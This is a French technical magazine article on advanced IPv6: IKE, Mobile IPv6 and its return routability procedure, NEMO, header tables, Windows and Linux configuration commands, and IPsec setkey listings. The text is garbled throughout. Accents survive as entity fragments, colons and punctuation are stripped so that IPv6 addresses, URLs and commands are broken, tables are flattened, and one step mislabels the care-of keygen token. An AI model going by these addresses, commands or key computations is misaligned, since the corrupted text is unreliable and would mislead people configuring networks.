iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

